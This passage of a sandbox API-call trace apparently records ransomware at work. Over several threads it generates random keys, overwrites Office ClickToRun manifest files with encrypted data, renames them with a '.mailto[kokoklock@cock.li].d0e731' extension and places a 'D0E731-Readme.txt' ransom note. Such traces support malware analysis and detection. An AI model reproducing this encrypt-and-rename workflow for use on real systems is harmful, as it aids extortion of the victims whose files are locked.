RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0x15c473e2 [0073.668] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0x10d8876e [0073.668] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0x1f37827 [0073.668] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0x9c53cb4d [0073.668] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0xb70ff697 [0073.668] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0x8abdfe56 [0073.668] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0x63fe5367 [0073.668] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0x1d423e6a [0073.668] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0xa597496e [0073.668] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0x95b1822c [0073.679] ReadFile (in: hFile=0x95c, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x2b28, lpNumberOfBytesRead=0x180bf9c0, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x180bf9c0*=0x2b28, lpOverlapped=0x0) returned 1 [0073.691] SetFilePointerEx (in: hFile=0x95c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x180bf988 | out: lpNewFilePointer=0x0) returned 1 [0073.691] WriteFile (in: hFile=0x95c, lpBuffer=0x348a358*, nNumberOfBytesToWrite=0x2b28, lpNumberOfBytesWritten=0x180bf9bc, lpOverlapped=0x0 | out: lpBuffer=0x348a358*, lpNumberOfBytesWritten=0x180bf9bc*=0x2b28, lpOverlapped=0x0) returned 1 [0073.692] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ec58 [0073.692] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eb90 [0073.692] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eb90) returned 1 [0073.692] WriteFile (in: hFile=0x95c, lpBuffer=0x341ec58*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x180bf9b8, lpOverlapped=0x0 | out: lpBuffer=0x341ec58*, lpNumberOfBytesWritten=0x180bf9b8*=0x20, lpOverlapped=0x0) returned 1 [0073.692] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ec58) returned 1 [0073.692] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a358) returned 1 [0073.692] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0073.692] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.692] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdb38) returned 1 [0073.692] WriteFile (in: hFile=0x95c, lpBuffer=0x341ee38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x180bf9e4, lpOverlapped=0x0 | out: lpBuffer=0x341ee38*, lpNumberOfBytesWritten=0x180bf9e4*=0x8, lpOverlapped=0x0) returned 1 [0073.692] WriteFile (in: hFile=0x95c, lpBuffer=0x180bf9fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x180bf9e4, lpOverlapped=0x0 | out: lpBuffer=0x180bf9fc*, lpNumberOfBytesWritten=0x180bf9e4*=0x4, lpOverlapped=0x0) returned 1 [0073.692] WriteFile (in: hFile=0x95c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x180bf9e4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x180bf9e4*=0x4, lpOverlapped=0x0) returned 1 [0073.692] WriteFile (in: hFile=0x95c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x180bf9e4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x180bf9e4*=0x6c, lpOverlapped=0x0) returned 1 [0073.693] WriteFile (in: hFile=0x95c, lpBuffer=0x341ebb8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x180bf9e4, lpOverlapped=0x0 | out: lpBuffer=0x341ebb8*, lpNumberOfBytesWritten=0x180bf9e4*=0x20, lpOverlapped=0x0) returned 1 [0073.693] WriteFile (in: hFile=0x95c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x180bf9e4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x180bf9e4*=0x4, lpOverlapped=0x0) returned 1 [0073.693] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ebb8) returned 1 [0073.693] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eed8) returned 1 [0073.693] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ee38) returned 1 [0073.693] CloseHandle (hObject=0x95c) returned 1 [0073.693] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x128) returned 0x341da40 [0073.693] wcscpy (in: _Dest=0x341da40, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml" [0073.693] wcscat (in: _Dest=0x341da40, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0073.693] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmmui.msi.16.en-us.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0073.694] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0073.694] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341da40) returned 1 [0073.694] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 0 [0073.694] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434828 [0073.694] wcscpy (in: _Dest=0x3434828, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0073.694] wcscat (in: _Dest=0x3434828, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0073.694] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0073.695] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434828) returned 1 [0073.695] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c3a0) returned 1 [0073.695] RtlExitUserThread (Status=0x1) Thread: id = 615 os_tid = 0x4a8 [0073.666] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml")) returned 0x20 [0073.666] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1 [0073.666] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x960 [0073.685] GetFileSizeEx (in: hFile=0x960, lpFileSize=0x1813f958 | out: lpFileSize=0x1813f958*=2310) returned 1 [0073.685] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x902, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.685] ReadFile (in: hFile=0x960, lpBuffer=0x1813f92c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1813f928, lpOverlapped=0x0 | out: lpBuffer=0x1813f92c*, lpNumberOfBytesRead=0x1813f928*=0x4, lpOverlapped=0x0) returned 1 [0073.696] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.696] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eb90 [0073.696] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ee10 [0073.696] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341edc0 [0073.696] NtQuerySystemTime (in: CurrentTime=0x1813f904 | out: CurrentTime=0x1813f904*=132121176315815332) returned 0x0 [0073.696] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0xdb429b6 [0073.696] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0x6f312afc [0073.696] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0x8a621af0 [0073.696] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0x5f9871fb [0073.696] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0xe09c9dd7 [0073.696] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0x8ec2f270 [0073.696] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0x7a1dd852 [0073.696] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0x34c153f9 [0073.696] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0x268b95b3 [0073.696] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0x140bf732 [0073.696] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0xfcb65c30 [0073.697] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0x39c9db02 [0073.697] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0xb46b76e4 [0073.697] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0x171e2928 [0073.697] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0x79f8808c [0073.697] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0x53036ca [0073.697] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0xb6f3f7c9 [0073.697] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0x478db620 [0073.697] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0x70d7bc50 [0073.697] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0x7c1da79f [0073.697] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0x4bfd6340 [0073.697] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0x315c93fe [0073.697] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0x87e72bac [0073.697] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0x5192c1e2 [0073.697] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0x514a7092 [0073.697] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0xf55b4eee [0073.697] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0x615ba638 [0073.697] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0x640e8ecf [0073.697] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0xde76215d [0073.697] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0xe038fccf [0073.697] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0x9371b172 [0073.697] RtlRandom (in: Seed=0x1813f910 | out: Seed=0x1813f910) returned 0x15d4af84 [0073.709] ReadFile (in: hFile=0x960, lpBuffer=0x3482218, nNumberOfBytesToRead=0x906, lpNumberOfBytesRead=0x1813f904, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x1813f904*=0x906, lpOverlapped=0x0) returned 1 [0073.710] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1813f8cc | out: lpNewFilePointer=0x0) returned 1 [0073.710] WriteFile (in: hFile=0x960, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x906, lpNumberOfBytesWritten=0x1813f900, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x1813f900*=0x906, lpOverlapped=0x0) returned 1 [0073.710] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eb90 [0073.710] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ee38 [0073.710] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ee38) returned 1 [0073.710] WriteFile (in: hFile=0x960, lpBuffer=0x341eb90*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1813f8fc, lpOverlapped=0x0 | out: lpBuffer=0x341eb90*, lpNumberOfBytesWritten=0x1813f8fc*=0x20, lpOverlapped=0x0) returned 1 [0073.710] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eb90) returned 1 [0073.710] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0073.710] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0073.710] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.710] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0073.710] WriteFile (in: hFile=0x960, lpBuffer=0x341ebb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1813f928, lpOverlapped=0x0 | out: lpBuffer=0x341ebb8*, lpNumberOfBytesWritten=0x1813f928*=0x8, lpOverlapped=0x0) returned 1 [0073.710] WriteFile (in: hFile=0x960, lpBuffer=0x1813f940*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1813f928, lpOverlapped=0x0 | out: lpBuffer=0x1813f940*, lpNumberOfBytesWritten=0x1813f928*=0x4, lpOverlapped=0x0) returned 1 [0073.711] WriteFile (in: hFile=0x960, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1813f928, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1813f928*=0x4, lpOverlapped=0x0) returned 1 [0073.711] WriteFile (in: hFile=0x960, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1813f928, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1813f928*=0x6c, lpOverlapped=0x0) returned 1 [0073.711] WriteFile (in: hFile=0x960, lpBuffer=0x341ee10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1813f928, lpOverlapped=0x0 | out: lpBuffer=0x341ee10*, lpNumberOfBytesWritten=0x1813f928*=0x20, lpOverlapped=0x0) returned 1 [0073.711] WriteFile (in: hFile=0x960, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1813f928, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1813f928*=0x4, lpOverlapped=0x0) returned 1 [0073.711] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ee10) returned 1 [0073.711] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ec58) returned 1 [0073.711] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ebb8) returned 1 [0073.711] CloseHandle (hObject=0x960) returned 1 [0073.711] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x142) returned 0x33e2008 [0073.711] wcscpy (in: _Dest=0x33e2008, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" [0073.711] wcscat (in: _Dest=0x33e2008, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0073.711] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0073.714] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0073.714] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2008) returned 1 [0073.714] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 0 [0073.714] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434dd8 [0073.714] wcscpy (in: _Dest=0x3434dd8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0073.714] wcscat (in: _Dest=0x3434dd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0073.714] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0073.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434dd8) returned 1 [0073.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c490) returned 1 [0073.715] RtlExitUserThread (Status=0x1) Thread: id = 616 os_tid = 0x6d8 [0073.686] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmuxmui.msi.16.en-us.xml")) returned 0x20 [0073.687] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1 [0073.687] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmuxmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x954 [0073.688] GetFileSizeEx (in: hFile=0x954, lpFileSize=0x181bfb10 | out: lpFileSize=0x181bfb10*=11146) returned 1 [0073.688] SetFilePointerEx (in: hFile=0x954, liDistanceToMove=0x2b86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.688] ReadFile (in: hFile=0x954, lpBuffer=0x181bfae4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x181bfae0, lpOverlapped=0x0 | out: lpBuffer=0x181bfae4*, lpNumberOfBytesRead=0x181bfae0*=0x4, lpOverlapped=0x0) returned 1 [0073.882] SetFilePointerEx (in: hFile=0x954, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.882] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ebb8 [0073.882] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ee10 [0073.882] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ec58 [0073.882] NtQuerySystemTime (in: CurrentTime=0x181bfabc | out: CurrentTime=0x181bfabc*=132121176317690178) returned 0x0 [0073.882] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0x6a5be661 [0073.882] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0x96dea3e7 [0073.882] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0xc442aa3f [0073.882] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0x7186674e [0073.882] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0x61d13a79 [0073.882] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0x3e3b3d5b [0073.882] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0xf49d3e3e [0073.882] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0xe97672b2 [0073.882] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0x91886933 [0073.882] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0xda33a875 [0073.882] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0x47b94ab9 [0073.882] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0x20e606f1 [0073.882] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0x130f514e [0073.882] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0x8f7a883 [0073.882] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0x7d5b55f [0073.882] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0x85b48337 [0073.883] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0xbc745bee [0073.883] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0xe35e0af5 [0073.883] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0x385eaaf [0073.883] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0x2f0342d6 [0073.883] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0xa9b13cab [0073.883] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0x61019c11 [0073.883] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0x6a27e184 [0073.883] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0xebfae3c6 [0073.883] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0x1aa08585 [0073.883] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0x454f8a7e [0073.883] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0xcd279e1a [0073.883] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0xa8adb356 [0073.883] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0xceca73a1 [0073.883] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0x3506fbe0 [0073.883] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0x94903620 [0073.883] RtlRandom (in: Seed=0x181bfac8 | out: Seed=0x181bfac8) returned 0x4e0469ce [0073.896] ReadFile (in: hFile=0x954, lpBuffer=0x3482218, nNumberOfBytesToRead=0x2b8a, 